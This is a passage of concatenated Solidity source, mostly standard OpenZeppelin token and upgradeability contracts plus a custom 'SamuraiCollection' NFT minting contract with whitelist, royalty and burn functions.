abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.9 <0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol";
interface INftTransferProxy {
function erc721safeTransferFrom(IERC721Upgradeable token, address from, address to, uint256 tokenId) external;
function erc1155safeTransferFrom(IERC1155Upgradeable token, address from, address to, uint256 id, uint256 value, bytes calldata data) external;
}
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|
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "./Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import { IERC2981, IERC165 } from "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SamuraiCollection is ERC721URIStorage, Ownable, AccessControl, Pausable, IERC2981 {
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
uint256 constant TOTAL_SUPPLY = 10144;
uint256 constant INITIAL_TOKENID = 3700;
Counters.Counter private _tokenIds;
string private _baseTokenUri;
uint256 public mintPrice = 0.1 ether;
address public beneficiary;
address public royalties;
bytes32 public merkleRoot;
bool public isActive = false;
uint256 public royaltyFee = 425;
bool public whiteListRequired = true;
constructor(address _beneficiary, address _royalties, string memory _baseUrl) ERC721("Ninja Fantasy Trader Presale", "NFTS"){
beneficiary = _beneficiary;
royalties = _royalties;
_baseTokenUri = _baseUrl;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
_tokenIds.setInitialValue(INITIAL_TOKENID);
}
event TraderMinted(uint256 tokenId);
function _mintTrader() private whenNotPaused returns (uint){
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(msg.sender, newItemId);
emit TraderMinted(newItemId);
return newItemId;
}
function ownerMint(uint256 count) public onlyOwner whenNotPaused returns (uint256[] memory){
require(count > 0, "Must insert value");
uint256 currentId = _tokenIds.current();
require(currentId + count < TOTAL_SUPPLY + INITIAL_TOKENID, "Maximum supply reached"); //plus 3700 because the item id starts by 3701
uint256[] memory tokens = new uint256[](count);
for (uint256 index = 0; index < count; index++) {
tokens[index] = _mintTrader();
}
return tokens;
}
function mintTraders(uint256 count, uint256 _maxMintAllowed, bytes32[] calldata merkleProof) public payable whenNotPaused returns (uint256[] memory) {
require(isActive, "Sale is closed");
require(count > 0, "Must insert value");
require(count <= _maxMintAllowed, "You have reached mint allowed");
require((mintPrice * count) == msg.value, "Incorrect payable amount");
require((_verify(merkleProof, msg.sender, _maxMintAllowed) || whiteListRequired == false), "Invalid proof");
uint256 tokenBalance = balanceOf(msg.sender);
require((tokenBalance + count) <= _maxMintAllowed, "Max allowed mint reached");
uint256 currentId = _tokenIds.current();
require(currentId + count < TOTAL_SUPPLY + INITIAL_TOKENID, "Maximum supply reached"); //plus 3700 because the item id starts by 3701
uint256[] memory tokens = new uint256[](count);
for (uint256 index = 0; index < count; index++) {
tokens[index] = _mintTrader();
}
return tokens;
}
function addBurnedRole(address account) public{
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not authorized");
_setupRole(BURNER_ROLE, account);
}
function burn(uint256 tokenId) public{
require(hasRole(BURNER_ROLE, msg.sender), "Caller is not a burner");
_tokenIds.decrement();
_burn(tokenId);
}
function setBeneficiary(address _beneficiary) public onlyOwner {
beneficiary = _beneficiary;
}
function setRoyalties(address _royalties) public onlyOwner {
royalties = _royalties;
}
function setActive(bool _isActive) public onlyOwner {
isActive = _isActive;
}
function setMerkleProof(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function setMintPrice(uint256 price) public onlyOwner {
mintPrice = price;
}
function totalSupply() public view returns (uint256) {
return _tokenIds.current() - INITIAL_TOKENID;
}
function setRoyaltyFee(uint256 value) public onlyOwner{
royaltyFee = value;
}
function setBaseUri(string memory value) public onlyOwner{
_baseTokenUri = value;
}
function setWhiteListRequired(bool _whiteListRequired) public onlyOwner{
whiteListRequired = _whiteListRequired;
}
function _baseURI() internal view override returns(string memory){
return _baseTokenUri;
}
function withdraw() public onlyOwner {
payable(beneficiary).transfer(address(this).balance);
}
function _verify(bytes32[] calldata merkleProof, address sender, uint256 maxAmount) private view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(sender, maxAmount.toString()));
return MerkleProof.verify(merkleProof, merkleRoot, leaf);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl, IERC165) returns (bool){
return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId);
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address, uint256 royaltyAmount) {
_tokenId; // silence solc warning
royaltyAmount = _salePrice * royaltyFee / 10000;
return (royalties, royaltyAmount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.11;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
